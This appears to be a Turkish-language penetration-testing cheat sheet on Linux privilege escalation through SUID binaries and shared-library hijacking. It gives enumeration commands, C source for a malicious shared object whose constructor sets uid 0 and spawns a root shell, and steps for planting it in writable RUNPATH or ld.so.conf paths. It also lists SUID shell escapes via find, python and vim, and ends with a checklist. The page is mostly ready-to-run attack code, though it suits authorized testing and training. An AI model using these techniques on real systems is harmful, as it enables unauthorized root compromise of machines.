Skip to content

SUID Shared Library and Linker Abuse

linux privesc

SUID bir binary, yüklediği paylaşımlı kütüphaneyi saldırgan kontrolündeyse yüksek yetkiyle kod çalıştırır. rpath, yazılabilir dizin, eksik .so ve linker yapılandırması klasik vektörlerdir.

  1. SUID binary’leri ve ldd / readelf ile bağımlılıkları çıkar.

  2. Yazılabilir path, missing library veya RUNPATH/RPATH ara.

  3. Sahte .so yerleştirip SUID binary’yi çalıştır.

  4. Root shell / credential kanıtını al.

Terminal window
find / -perm -4000 -type f 2>/dev/null
Terminal window
find / -perm -2000 -type f 2>/dev/null
Terminal window
ls -l /usr/local/bin /opt 2>/dev/null
Terminal window
ldd /usr/local/bin/vuln
Terminal window
readelf -d /usr/local/bin/vuln | rg -i 'rpath|runpath|needed'
Terminal window
strings /usr/local/bin/vuln | rg '\.so'
Terminal window
LD_DEBUG=libs /usr/local/bin/vuln 2>&1 | head -n 80
ldd: libhidden.so => not found
Terminal window
# yazılabilir bir dizin PATH/ld search içindeyse:
gcc -shared -fPIC -o libhidden.so evil.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init(){
setuid(0); setgid(0);
system("/bin/sh");
}
Terminal window
cp libhidden.so /writable/path/
Terminal window
/usr/local/bin/vuln
Terminal window
readelf -d /usr/local/bin/vuln | rg path
RUNPATH /opt/app/lib # yazılabilirse .so değiştir
Terminal window
ls -ld /opt/app/lib
Terminal window
gcc -shared -fPIC -o /opt/app/lib/libapp.so evil.c
Terminal window
cat /etc/ld.so.conf /etc/ld.so.conf.d/* 2>/dev/null
Terminal window
# yazılabilen conf:
echo '/tmp' > /etc/ld.so.conf.d/evil.conf
Terminal window
ldconfig
Terminal window
# find
find . -exec /bin/sh -p \; -quit
Terminal window
# python
python3 -c 'import os; os.execl("/bin/sh","sh","-p")'
Terminal window
# vim
vim -c ':py3 import os; os.execl("/bin/sh","sh","-p")'
Terminal window
curl -sL https://gtfobins.github.io/#+suid | head
[ ] SUID listesi alındı
[ ] ldd/rpath/missing .so incelendi
[ ] Yazılabilir library path doğrulandı
[ ] Sahte .so ile yükseltme kanıtlandı